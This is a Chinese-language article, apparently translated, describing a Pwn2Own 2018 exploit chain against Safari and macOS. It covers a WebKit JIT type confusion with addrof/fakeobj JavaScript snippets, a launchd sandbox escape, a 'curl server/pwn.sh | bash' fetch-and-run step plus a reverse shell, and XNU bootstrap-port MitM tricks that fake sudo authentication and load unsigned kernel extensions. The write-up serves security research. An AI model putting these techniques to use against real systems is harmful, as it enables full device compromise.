Safari+macOS的全套漏洞利用链

在今年的Pwn2Own 2018比赛中, 有多个针对苹果Safari浏览器的攻击挑战，今天我们就来介绍一下针对Safari的远程代码执行(RCE)、沙箱逃脱、本地特权升级(LPE)和针对macOS 10.13.3内核的漏洞利用。

攻击挑战的环境设置

安装nasm（全称The Netwide Assembler,是一款基于80x86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性）和tornado（一种 Web 服务器软件的开源版本）:

brew install nasm
pip3 install tornado

如果要更改主机或端口，请检查config.py。然后使用./server.py启动服务器并导航到显示的URL。

漏洞链使用的背景知识

此漏洞链使用了三种不同的漏洞，包括在Safari内运行的JavaScript代码以及内核模式的代码执行，具体来说有三个：

1.DFG JIT编译器中的错误优化，可导致类混淆(TypeConfusion)；

2.在launchd中缺少沙箱检查，允许沙箱进程生成任意（非沙箱）进程；

3.XNU内核中的一个逻辑漏洞，允许进程覆盖其子进程的引导端口，从而导致IPC的MITM(中间人攻击)，XNU内核是iOS的核心，与OSX版本几乎没有区别，是由三个主要部分组成的一个分层体系结构。

漏洞利用链分六个阶段实现，每个阶段都在自己的子目录中进行：

1.stage0/：WebKit漏洞利用；

2.stage1/：在程序集中编写的第一阶段有效载荷；

3.stage2/：执行沙箱逃脱的第二阶段有效载荷；

4.stage3/：用于协调其余各阶段的shell脚本；

5.stage4/：获得root权限的LPE；

6.stage5/：用于获取内核代码执行的LPE；

7.libspc/：第2阶段、第4阶段和第5阶段使用的XPC协议的重新实现；

每个子目录（libspc /除外）都包含一个名为make.py的文件，该文件在执行时执行必要的任何类型的构建命令，并创建一个由Web服务器提供服务的文件列表。

stage0

该阶段的目标是在实施沙箱检查的WebContent流程中实现shellcode执行，所用的漏洞是DFG JIT编译器中的错误优化。详情，请点此了解。

DFG JIT编译器在其自己的中间表示（ intermediate representation），即数据流图（DFG）中表示JavaScript代码。通常，一个JavaScript表达式将被转换为此数据流图中的一个或多个IR指令。对于构造函数，发出CreateThis指令，并负责分配由该函数构造的对象。例如，当用new调用函数Consructor(){}时，将大致转换为以下内容。

v0 = CreateThis
return v0

查看AbstractInterpreter，我们可以看到DFG JIT编译器假定CreateThis操作除了堆分配之外不会产生任何有害结果。实际上，这段代码就是以下内容。

function Constructor(obj) {
    return obj.x;
}

它们将被大致转换为以下DFG指令，本文中，StructureCheck被TypeCheckHoistingPhase移动到函数的起始位置。

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

可以看到DFG JIT编译器的无害假设是不符合实际的，该假设无效，因为CreateThis的slow-path代码在某些情况下可以执行任意JavaScript代码。特别是，通过在实际函数的周围使用代理，“prototype”属性的get trap将在CreateThis的slow-path处理程序中调用，这是因为它需要为构造的对象获取prototype对象。

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

译者注：fast path就是那些可以依据已有状态转发的路径，在这些路径上，网关，二层地址等都已经准备好了，不需要缓存数据包，而是可以直接转发。slow path是那些需要额外信息的包，比如查找路由，解析MAC地址等。

因此，现在可以在没有JIT编译器执行修复的情况下修改对象的结构。

此漏洞可用于构造addrof和fakeobj原语，具体过程，我会在下面详细介绍。

addrof

我们会编译含有消除double（双精度浮点数）的JavaScript Array对象的代码，然后在回调中转换为JavaScript Value元素。然后，JIT代码将从Array对象中加载JavaScript Value，但是会把这些位作为一个double并返回给我们。下面的代码将把leakme的地址分配给构造对象的“address”属性。

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

现在，我们采用的方法和addrof里的方法刚好相反。我们会优化代码，将double存储到含有消除double的数组，然后在回调中再次转换到JavaScript Value元素。代码将继续以消除double的形式，将我们的受控double写入后备存储。当我们稍后访问这个数组元素时，它将把这些位作为一个JSValue而不是double。下面的代码将把取消double的address写入a的后端缓冲区，然后我们可以将其读取为JavaScript Value，从而允许我们将选择的JavaScript Value “注入”到引擎中。

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

这样，我们最终就能够编写一个double并将其视为JSObject指针，反之亦然。这可以像攻击javascript引擎中所描述的那样被攻击者利用。

该漏洞首先通过伪造Float64Array实现任意进程的内存读写，然后搜索JIT区域（映射的RWX）并在其中写入stage1 shellcode。

Stage 1

这个阶段的目标是通过将.dylib写入磁盘并通过dlopen()加载，引导第2阶段。

通过一个简短的有效载荷，可以执行以下操作：

1.调用confstr（\ _ CS \ _DARWIN \ _USER \ _TEMP \ _DIR）以获取可写目录的路径；

2.在可写目录中创建名为“x.dylib”的新文件；

3.将stage2 dylib写入新创建的文件中；

4.通过dlopen()将dylib加载到WebContent进程中；

Stage 2

这个阶段的目标是绕过沙箱检测，所利用的漏洞是在launchd的“legacy_spawn”API中缺少沙箱检测。详细过程，请点此。

Launchd在子系统3中将“legacy_spawn”RPC端点作为例程817公开，以至于API无法验证是否应允许调用者生成进程，并且只会在系统中为使用受控参数的调用方执行任何二进制文件。由于可以通过引导端口访问launchd，因此可以绕过沙箱检测。

这个漏洞实际上运行curl server / pwn.sh | bash，并将控制权传递给stage3的进程。

stage3

这个阶段的目标是协调其余各阶段的shell脚本，为此，系统将执行open /Applications/Calculator.app并建立反向shell，然后获取剩余阶段所需的所有文件并运行漏洞。

Stage4

这一阶段的目标是通过LPE漏洞获取root权限，漏洞之所会被利用，是因为攻击者可利用XNU引导程序端口，实现MitM。详情，请点此。

在XNU中，task_set_special_port API允许调用者覆盖其引导端口，该端口用于与launchd通信。此端口是在跨fork之间进行的，子进程将使用与父进程相同的引导端口。如果子进程比父进程具有更高权限，则会出现安全问题，例如sudo（setuid二进制）或kextutil（具有“com.apple.rootless.kext-management”权限）的情况。覆盖引导程序端口并实现子进程后，我们现在就可以获得子进程和launchd之间的MitM位置(当向引导端口发送消息时，我们的子进程期望出现在这个位置)。子进程将要求launchd解析各种mach和XPC，通过将这些服务解析到我们控制的其他端口，我们还可以通过子进程使用的任意系统服务获得MitM位置。然后，漏洞利用取决于被攻击的程序是如何使用这些服务的。

为了获得root，我们以sudo二进制文件为目标，并截获其与opendirectoryd的通信，opendirectoryd是sudo用来验证凭证的。我们修改了opendirectoryd的响应，使其看起来像是我们的有效密码。

不过，有研发人员试图修复这个漏洞，因为libxpc（它执行与launchd的通信）验证的响应确实来自uid = 0和pid = 1（== launchd）进程。但是，这些检查并不充分。我们可以按如下方式绕过它们，在我们自己的端口解析opendirectoryd，具体过程如下：

1.使用bootstrap_register2 API在launchd中注册我们自己的mach服务（例如net.saelo.hax）；

2.拦截服务查找请求以启动并用net.saelo.hax替换字符串com.apple.system.opendirectoryd.api；

3.将请求转发到launchd，但保留原来的响应端口，因此launchd会直接响应子进程，并且成功检测子进程中的libxpc；

现在剩下的事情(比如将权限升级到root)就是在opendirectoryd和sudo之间转发消息，但要用成功的身份验证响应替换错误的响应。

Stage5

这个阶段的目标，是要加载一个（自签名）内核扩展。漏洞之所会被利用，是因为攻击者可利用XNU引导程序端口，实现MitM。

这个阶段，利用的是与stage4相同的漏洞，但这次是针对kextutil的。我们拦截了与com.apple.trustd的连接并欺骗了证书链，导致kextutil误以为我们的自签名kext是由apple直接签名的。

当要求从磁盘加载.kext时，kextutil进程大致如下所示：

1.通过检查所提供证书的所有签名来验证.kext的完整性；

2.与trustd进行通信，以获取证书链并确定root证书是否可信；

3.验证证书链的root是否为Apple证书；

只有通过与syspolicyd通信，才能检查.kext是否是用户批准的。但是，如果无法访问syspolicyd，则kextutil会继续执行。所以，以下攻击场景，都能够加载自签名内核扩展：

1.创建.kext并使用自签名证书对其进行签名；

2.运行kextutil并将com.apple.trustd解析为我们自己的服务；

3.拦截到trustd的消息，并使用官方apple .kext的硬编码证书链进行响应；

4.阻止与syspolicyd的通信，例如，在服务查找请求中将net.saelo.lolno替换为com.apple.security.syspolicy.kext，启动检测。

这样，kextutil现在就会将我们的内核扩展加载到内核中。